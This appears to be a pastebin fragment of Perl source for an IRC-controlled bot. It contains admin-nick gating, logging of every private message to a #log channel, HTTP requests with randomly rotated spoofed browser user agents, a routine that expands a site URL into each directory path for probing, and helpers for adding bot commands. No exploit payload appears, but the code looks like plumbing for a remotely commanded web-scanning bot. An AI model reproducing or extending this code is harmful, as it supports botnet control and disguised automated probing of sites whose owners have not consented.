- sub ctrl_dumps()
- {
- my $data = $_[0];
- foreach my $admin ( @Methaport )
- {
- if($admin eq $data->{'from'})
- {
- return(0);
- }
- }
- &respond_to_privmsg($data,"15,01[4BLOCK15,01]0 You are 04NOT0,01 Allowed to use this function.!");
- return(-1);
- }
- #####################################################################################
- sub respond_to_privmsg()
- {
- my ($data,$m) = ($_[0],$_[1]);
- if($data->{'to'} =~ /#/)
- {
- &privmsg($data->{'to'},$m);
- }
- return(0);
- }
- #####################################################################################
- sub privmsg()
- {
- my($nick,$send) = @_;
- $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
- }
- #####################################################################################
- sub get_msg()
- {
- my $line = $_[0];
- my %data;
- if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/)
- {
- $irc_socket->write("PRIVMSG #log :$1 $3 msg=>> $4 \r\n");
- $data{'from'} = $1;
- $data{'to'} = $3;
- $data{'what'} = $4;
- }
- return(%data);
- }
- #####################################################################################
- sub http_request()
- {
- my($site,$request,$ua,$resp,$cnt);
- $site = $_[0];
- $site =~ s/[\r\n]//g;
- $request = HTTP::Request->new(GET => $site);
- $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
- $ua->timeout($timeout);
- $resp = $ua->request($request);
- $cnt = $resp->content();
- return($cnt);
- }
- #####################################################################################
- sub get_user_agents()
- {
- my @us_ag = (
- "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
- "Opera/8.5 (X11; Linux i686; U; cs)",
- "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
- );
- return(@us_ag);
- }
- #####################################################################################
- sub get_all_host()
- {
- my $site = $_[0];
- my @dirs = ();
- my @ret = ();
- my $tmp = "";
- $site =~ s/http:\/\///g;
- $site =~ s/[\r\n]//g;
- $site =~ s/\/\///g;
- if($site !~ /\/$/)
- {
- $site .= "/";
- }
- @dirs = split(/\//,$site);
- $tmp = $dirs[0] . "/";
- push(@ret,$tmp);
- for($i = 1; $i < scalar(@dirs); $i++)
- {
- $tmp .= $dirs[$i] . "/";
- push(@ret,$tmp);
- }
- return(@ret);
- }
- #####################################################################################
- sub urlencode()
- {
- my $str = $_[0];
- $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
- return $str;
- }
- #####################################################################################
- sub unique()
- {
- my @unici = ();
- my %visti = ();
- foreach my $elemento (@_) {
- $elemento =~ s/\/+/\//g;
- next if $visti{$elemento}++;
- push @unici, $elemento;
- }
- return @unici;
- }
- #####################################################################################
- sub changecmd()
- {
- my $n = $_[0];
- push(@botcmd,$n);
- }
- #####################################################################################
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(10);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- #####################################################################################
- sub read_all_file_array()
- {
- my $file = $_[0];
- my @ret = ();
- open(FILE,'<',$file);
- while($a = <FILE>)
- {
- $a =~ s/[\r\n]//g;
- push(@ret,$a);
- }
- close(FILE);
- return(@ret);
- }
- #####################################################################################
- sub write_to_file_array()
- {
- my ($file,$data,$scal) = @_;
- for($i = 0; $i < $scal; $i++)
- {
- &AddLog($file,$data->[$i]);
- }
- }
- #####################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement